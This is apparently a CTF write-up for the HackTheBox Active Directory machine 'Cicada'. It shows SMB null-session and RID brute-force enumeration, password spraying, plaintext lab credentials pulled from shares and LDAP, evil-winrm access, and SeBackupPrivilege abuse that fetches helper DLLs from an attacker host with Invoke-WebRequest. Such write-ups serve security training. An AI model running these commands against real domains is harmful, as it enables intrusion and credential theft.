CTF Writeups

HTB Cicada: From Password Spraying to Token Abuse

Active Directory machine: password spraying for initial foothold, LDAP enumeration, and domain admin access through SeBackupPrivilege token abuse.

Onurcan Genç 20 Mar 2026 6 min read

Password Spraying Attack on Active Directory

Privilege Escalation via SeBackupPrivilege Token Abuse

Reconnaissance

Add the IP address of the machine to /etc/hosts:

nano /etc/hosts

Port Scanning

Conduct port scan:

sudo nmap -sV -sC cicada.htb, sudo nmap -sV -p- --max-rate 10000 cicada.htb

Observe that I was dealing with AD structure:

Domain Controller Hostname: commonName=CICADA-DC.cicada.htb

Domain: cicada.htb

Plus, Microsoft HTTPAPI + port 5985 combination refers to WinRM service.

Lastly, SMB ports are shown. I'll try password sprays and null session.

SMB Enumeration — Null Sessions & RID Brute-Forcing

Now let's enumerate SMB shares via null sessions:

NetExec SMB Share Enum

nxc smb cicada.htb -u '' -p ''

I also found that a cheatsheet for null session enum, yet I did not know actually about RID what does that mean and so on... Check from here:

Null Enum

On that page, there was another parameter --rid-brute 3000. 3000 is specified as the permissions that the account holds.

RID Explanation

Basically, we are asking DC, "Who is 500, 3000, 1001?" through SMB.

I tried different combinations with NULL session and Enumerate Guest.

Guest Logon

nxc smb cicada.htb -u '' -p ''

nxc smb cicada.htb -u '' -p '' --users

nxc smb cicada.htb -u 'CTIS' -p '' --users

I identified that the Guest account was enabled, but I didn't know how to enum the guest account.

nxc smb cicada.htb -u 'CTIS' -p '' --rid-brute

It is clear that by combination of non-existing user and --rid-brute, I found the entire user accounts that exist in the domain.

nxc smb cicada.htb -u 'CTIS' -p '' --rid-brute

This cheatsheet recommends the usage of -u 'guest' as well. Let's try:

SMB Cheatsheet

nxc smb cicada.htb -u 'guest' -p '' --shares

Harvesting Credentials from SMB Shares

Thanks to the HR department share, I can read its belonging contents.

I used netexec spider modules to fuzz contents of shares:

Spider Module

nxc smb cicada.htb -u 'guest' -p '' -M spider_plus

I discovered a .txt file belonging to HR:

{
    "HR": {
        "Notice from HR.txt": {
            "atime_epoch": "2024-08-28 20:31:48",
            "ctime_epoch": "2024-03-14 15:29:03",
            "mtime_epoch": "2024-08-28 20:31:48",
            "size": "1.24 KB"
        }
    }
}

I cannot authenticate SMB through the guest user account, so I also used a random non-existing string to authenticate to the HR share:

smbclient //10.129.231.149/HR -U 'CTIS' -N

ls -> get "Notice from HR.txt"

Password Spraying

As we found AD user accounts, let's try to brute them via the password spraying technique. In real world tests, I have never seen such a RID thing; instead, we try to guess the most suitable ones.

I created my user files as below:

john.smoulder sarah.dantelia michael.wrightson david.orelious emily.oscars

Pass Spraying

Succeeded as michael account:

With also --continue-on-success param:

LDAP Enumeration & Lateral Movement

I never have a methodology, but simply dive into ldap search.

netexec also provides an ldap option:

Nxc LDAP Protocol

nxc ldap cicada.htb -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users

David leaks his password in the Description field.

david.orelious:aRt$Lp#7t*VQ!3

nxc ldap cicada.htb -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --users

Let's find anything valuable on SMB for David:

nxc smb cicada.htb -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares

Observe that David's account can READ the DEV share. Now I will auth as David to shares via smbclient:

smbclient //10.129.231.149/DEV -U 'david.orelious' -p 'aRt$Lp#7t*VQ!3'

I found a PowerShell script in David's share:

Emily user's hardcoded credentials can be observed:

Getting User Flag — WinRM Access

nxc smb cicada.htb -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' --shares

Emily is a highly privileged account — just an assumption based on READ,WRITE perms on Disk access (C$) and admin share read utilities:

I will access through the WinRM protocol instead of SMB.

smbclient //10.129.231.149/ADMIN$ -U 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Use Hackviser's guide:

EvilWinRM

evil-winrm -i cicada.htb -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Get user flag from Emily's Desktop:

Privilege Escalation — SeBackupPrivilege Abuse

Ask Domain Controller for the AD profile of the user.

net user emily.oscars /domain

Notice that the user has the Backup Operators tag is most likely a highly privileged account.

I will shift tokens directly.

Backup privilege available on target.

I will follow the description below:

SeBackupPrivilege

I tried Acl-FullControl PowerShell, but it still did not work properly.

Now I applied:

1. Import necessary libraries:

`Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll`

2. Enable and verify `SeBackupPrivilege`:

`Set-SeBackupPrivilege Get-SeBackupPrivilege`

3. Access and copy files from restricted directories, for instance:

`dir C:\Users\Administrator\ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite`

For SeBackupPrivilegeUtils.dll:

$URL = "http://10.10.16.64:1000/SeBackupPrivilegeUtils.dll"
$Path="C:\Users\emily.oscars.CICADA\backuputils.dll"
Invoke-WebRequest -URI $URL -OutFile $Path

For SeBackupPrivilegeCmdLets.dll:

$URL = "http://10.10.16.64:1000/SeBackupPrivilegeCmdLets.dll"
$Path="C:\Users\emily.oscars.CICADA\backupcmdlets.dll"
Invoke-WebRequest -URI $URL -OutFile $Path